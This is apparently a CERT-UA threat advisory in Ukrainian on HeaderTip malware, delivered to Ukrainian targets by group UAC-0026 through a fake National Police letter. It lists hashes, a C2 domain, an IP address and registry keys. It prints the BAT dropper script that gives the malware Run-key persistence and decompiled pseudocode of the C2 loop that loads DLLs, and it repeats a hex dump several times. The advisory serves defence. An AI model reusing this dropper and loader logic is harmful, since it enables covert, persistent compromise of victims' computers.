

Кібератака групи UAC-0026 з використанням шкідливої програми HeaderTip (CERT-UA#4244)

Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA виявлено RAR-архів "Про збереження відеоматеріалів з фіксацією злочинних дій армії російської федерації.rar", який містить одноіменний EXE-файл. Запуск виконуваного файлу призведе до створення на комп'ютері документу-приманки "#2163_02_33-2022.pdf" (стосується листа Національної поліції України), а також DLL-файлу з видаленим MZ-заголовком "offic cleaner.dat" та BAT-файлу "offic cleaner.bat", що забезпечить формування коректного DLL-файлу, його запуск і запис в реєстр Windows для забезпечення персистентності.

Згаданий DLL-файл класифіковано як шкідливу програму HeaderTip, основним призначенням якої є завантаження та виконання інших DLL-файлів.

Активність відстежується за ідентифікатором UAC-0026. Аналогічні атаки, для прикладу, фіксувалися у вересні 2020 року.

Індикатори компрометації

Файли:

1af894a5f23713b557c23078809ed01c
839e968aa5a6691929b4d65a539c2261f4ecd1c504a8ba52abbfbac0774d6fa3 Про збереження відеоматеріалів з фіксацією злочинних дій армії російської федерації.rar
13612c99a38b2b07575688c9758b72cc
042271aadf2191749876fc99997d0e6bdd3b89159e7ab8cd11a9f13ae65fa6b1 Про збереження відеоматеріалів з фіксацією злочинних дій армії російської федерації.exe
3293ba0e2eae fbe5a7c3d26d0752326e
c0962437a293b1e1c2702b98d935e929456ab841193da8b257bd4ab891bf9f69
#2163_02_33-2022.pdf (документ-приманка)
9c22548f843221cc35de96d475148ecf
830c6ead1d972f0f41362f89a50f41d869e8c22ea95804003d2811c3a09c3160
offic cleaner.bat
4fb630f9c5422271bdd4deb94a1e74f4
a2ffd62a500abbd157e46f4caeb91217738297709362ca2c23b0c2d117c7df38
offic cleaner.dat

1aba36f72685c12e60fb0922b606417c
63a218d3fc7c2f7fcadc0f6f907f326cc86eb3f8cf122704597454c34c141cf1
httpshelper.dll (HeaderTip)

Мережеві:

Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
hxxps://product2020.mrbasic[.]com:8080
product2020.mrbasic[.]com
104[.]155.198.25

Хостові:

%TMP%\#2163_02_33-2022.pdf
%TMP%\officecleaner.bat
%TMP%\officecleaner.dat
%TMP%\officecleaner.dll
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\httpsrvlog
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\httpshelper
c:\windows\system32\rundll32.exe %TMP%\httpshelper.dll,OAService

Графічні зображення

 <p>НАЦІОНАЛЬНА ПОЛІЦІЯ УКРАЇНИ</p> <p>вул. Богомольця, 10, м. Київ, 01601, тел. 254-93-33, info@police.gov.ua Ідентифікаційний код 40108578</p> <p>16.03.2022 року № _____ На № _____ від _____</p> <p>Про збереження відеоматеріалів з фіксацією злочинних дій армії російської федерації</p> <p>24 лютого росія розпочала відкрите військове вторгнення до України, у тому числі з території Республіки Білорусь. Вже декілька тижнів відбуваються ракетні обстріли військової та цивільної інфраструктури по всій країні, гинуть мирні жителі, знищуються майно та відбувається системне вчинення військових та злочинів проти людства військовослужбовцями армії росії.</p> <p>В умовах військового стану та знищення, у тому числі об'єктів та ресурсів органів і підрозділів Національної поліції України, існує потреба у максимальному збереженні всіх доступних відеоматеріалів на яких фіксується вчинення різних злочинів армією росії.</p> <p>Зокрема до таких відеоматеріалів слід віднести відеозаписи із загальнообласних та міських систем відеонагляду (Безпечне місто, Безпечний регіон), а також інших відеореєстраторів будь-якої форми власності щодо переміщення (руху) ворожої техніки, моментів обстрілів та бомбардування, нанесення артилерійських чи авіаційних ударів по житлових будинках, школах, дитсадках, лікарнях, електростанціях та інших об'єктах забезпечення життєдіяльності населених пунктів, обстріли колон евакуації цивільних осіб, випадки вчинення мародерства та інших диверсійно-розвідувальних, протиправних і злочинних діянь. Крім того, слід приділити увагу щодо збереження відеозаписів розміщених у різних групах «месенджерів», ресурсах мережі інтернет та відео-сюжетів зроблених очевидцями таких подій (записи на телефонах та відео реєстраторах).</p> <p>З огляду на викладене прошу розглянути питання щодо забезпечення збереження зазначених вище видів відеоматеріалів, та за можливості їх резервних копій, з метою подальшого долучення до матеріалів досудового розслідування та використання під час аналітичних досліджень працівниками підрозділів кримінального аналізу.</p>	<pre>echo off set objfile=%temp%\httpshelper.dll if not exist %objfile% (echo set /p=[]<[]> %objfile% type %temp%\officecleaner.dat >> %objfile% del %temp%\officecleaner.dat rekooperotlksdfgljdfgljtrjg add HK\wejhjhkhk\Software\Microsoft\Windows\CurrentVersion\Run /v "httpsrvlog" /d "c:\windows\system32\rundll32.exe %temp%\httpshelper.dll,OAService" /f start c:\windows\system32\rundll32.exe %objfile%,OAService) else (set bat="bat")</pre> <pre>hostname = hostnames; do { g_sleep_timeout = 10000; result = init_context(hostname,0,0); if (result == 0) { (*g_sleep)(g_sleep_timeout); result = init_context(hostname,0,0,1); } context.unk5 = 0x0022; if (result != 0) { while (BVar2 = recv_packet((byte *)&b_type,(byte *)&b_id,(byte *)&data,(size), &var1 = b_id, data = data, BVar2 != 0) { if (g_installed_dll_handler == NULL) { _handle_builtin: type = b_type & 0xff; id = (byte)0; if (type == 0) { result = handle_command0(id); } else if (type == 1) { result = handle_command1_echo(id,data,size); } else if (type == 6) { result = handle_command6_write_file(id,data,size); } else if (type == 12) { result = handle_command12_set_sleep_timeout(id,(int *)&data,size); } else if (type == 13) { result = handle_command13_load_dll(id,(char *)&data,size); } else { result = handle_not_implemented_command(id,NULL,0); } } else { if (data != NULL) { if (data != NULL) { if (BVar3 = (eq_installed_dll_handler)(context,b_type,b_id,data,size); if (BVar3 == 0) goto _handle_builtin; if (BVar3 < 0) { result = 0; } } } if (data != NULL) { if (data != NULL) { if (g_running == 0) { return 0; } } } if (g_running == 0) { return 0; } if (context.hInternet != NULL) { close_context(&context); hostname = next_hostname(hostname,hostname); (*g_sleep)(g_sleep_timeout); } } } } } }</pre> <table border="1"><tr><td>00000000</td><td>90 00 03 00 00 00 04 00 00 00 ff 00 00 b8 00</td><td>.....</td></tr><tr><td>00000010</td><td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td><td>.....</td></tr><tr><td>00000020</td><td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td><td>.....</td></tr><tr><td>00000030</td><td>00 00 00 00 00 00 00 00 00 00 e8 00 00 0e 1f</td><td>.....</td></tr><tr><td>00000040</td><td>0a 0e 04 09 cd 21 b8 01 4c cd 21 54 68 69 73</td><td>.....</td></tr><tr><td>00000050</td><td>20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20</td><td>program cannot</td></tr><tr><td>00000060</td><td>62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f</td><td>be run in DOS mo</td></tr><tr><td>00000070</td><td>64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 c1 09</td><td>de...\$.....</td></tr><tr><td>00000080</td><td>0a 85 6b b6 d9 85 68 b6 d9 85 68 b6 d9 85 68</td><td>.....h...h...w</td></tr><tr><td>00000090</td><td>b2 d9 87 68 b6 d9 85 68 b2 d9 87 68 b6 d9 85 68</td><td>.....h...h...h...</td></tr><tr><td>000000a0</td><td>cd d9 82 68 b6 d9 85 68 cd d9 82 68 b6 d9 85 68</td><td>.....h...h...h...</td></tr><tr><td>000000b0</td><td>32 d9 89 68 b6 d9 9b 3a 24 d9 84 68 b6 d9 9b 3a</td><td>2...h...\$...h...</td></tr><tr><td>000000c0</td><td>27 d9 84 68 b6 d9 85 68 63 68 85 68 b6 d9 00 00</td><td>.....h...Rtch.h...</td></tr><tr><td>000000d0</td><td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td><td>.....</td></tr><tr><td>000000e0</td><td>00 00 00 00 00 00 50 45 00 00 4c 01 04 00 00 00</td><td>.....PE...L.....</td></tr><tr><td>000000f0</td><td>00 00 00 00 00 00 00 00 00 e9 00 02 21 0b 01</td><td>.....</td></tr><tr><td>00000100</td><td>09 00 00 10 00 00 00 0c 01 00 00 00 00 f3 25</td><td>.....</td></tr><tr><td>00000110</td><td>00 00 00 10 00 00 30 00 00 00 00 00 10 00 10</td><td>.....</td></tr></table>	00000000	90 00 03 00 00 00 04 00 00 00 ff 00 00 b8 00	00000010	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	00000020	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	00000030	00 00 00 00 00 00 00 00 00 00 e8 00 00 0e 1f	00000040	0a 0e 04 09 cd 21 b8 01 4c cd 21 54 68 69 73	00000050	20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20	program cannot	00000060	62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f	be run in DOS mo	00000070	64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 c1 09	de...\$.....	00000080	0a 85 6b b6 d9 85 68 b6 d9 85 68 b6 d9 85 68h...h...w	00000090	b2 d9 87 68 b6 d9 85 68 b2 d9 87 68 b6 d9 85 68h...h...h...	000000a0	cd d9 82 68 b6 d9 85 68 cd d9 82 68 b6 d9 85 68h...h...h...	000000b0	32 d9 89 68 b6 d9 9b 3a 24 d9 84 68 b6 d9 9b 3a	2...h...\$...h...	000000c0	27 d9 84 68 b6 d9 85 68 63 68 85 68 b6 d9 00 00h...Rtch.h...	000000d0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	000000e0	00 00 00 00 00 00 50 45 00 00 4c 01 04 00 00 00PE...L.....	000000f0	00 00 00 00 00 00 00 00 00 e9 00 02 21 0b 01	00000100	09 00 00 10 00 00 00 0c 01 00 00 00 00 f3 25	00000110	00 00 00 10 00 00 30 00 00 00 00 00 10 00 10
00000000	90 00 03 00 00 00 04 00 00 00 ff 00 00 b8 00																																																					
00000010	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00																																																					
00000020	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00																																																					
00000030	00 00 00 00 00 00 00 00 00 00 e8 00 00 0e 1f																																																					
00000040	0a 0e 04 09 cd 21 b8 01 4c cd 21 54 68 69 73																																																					
00000050	20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20	program cannot																																																					
00000060	62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f	be run in DOS mo																																																					
00000070	64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 c1 09	de...\$.....																																																					
00000080	0a 85 6b b6 d9 85 68 b6 d9 85 68 b6 d9 85 68h...h...w																																																					
00000090	b2 d9 87 68 b6 d9 85 68 b2 d9 87 68 b6 d9 85 68h...h...h...																																																					
000000a0	cd d9 82 68 b6 d9 85 68 cd d9 82 68 b6 d9 85 68h...h...h...																																																					
000000b0	32 d9 89 68 b6 d9 9b 3a 24 d9 84 68 b6 d9 9b 3a	2...h...\$...h...																																																					
000000c0	27 d9 84 68 b6 d9 85 68 63 68 85 68 b6 d9 00 00h...Rtch.h...																																																					
000000d0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00																																																					
000000e0	00 00 00 00 00 00 50 45 00 00 4c 01 04 00 00 00PE...L.....																																																					
000000f0	00 00 00 00 00 00 00 00 00 e9 00 02 21 0b 01																																																					
00000100	09 00 00 10 00 00 00 0c 01 00 00 00 00 f3 25																																																					
00000110	00 00 00 10 00 00 30 00 00 00 00 00 10 00 10																																																					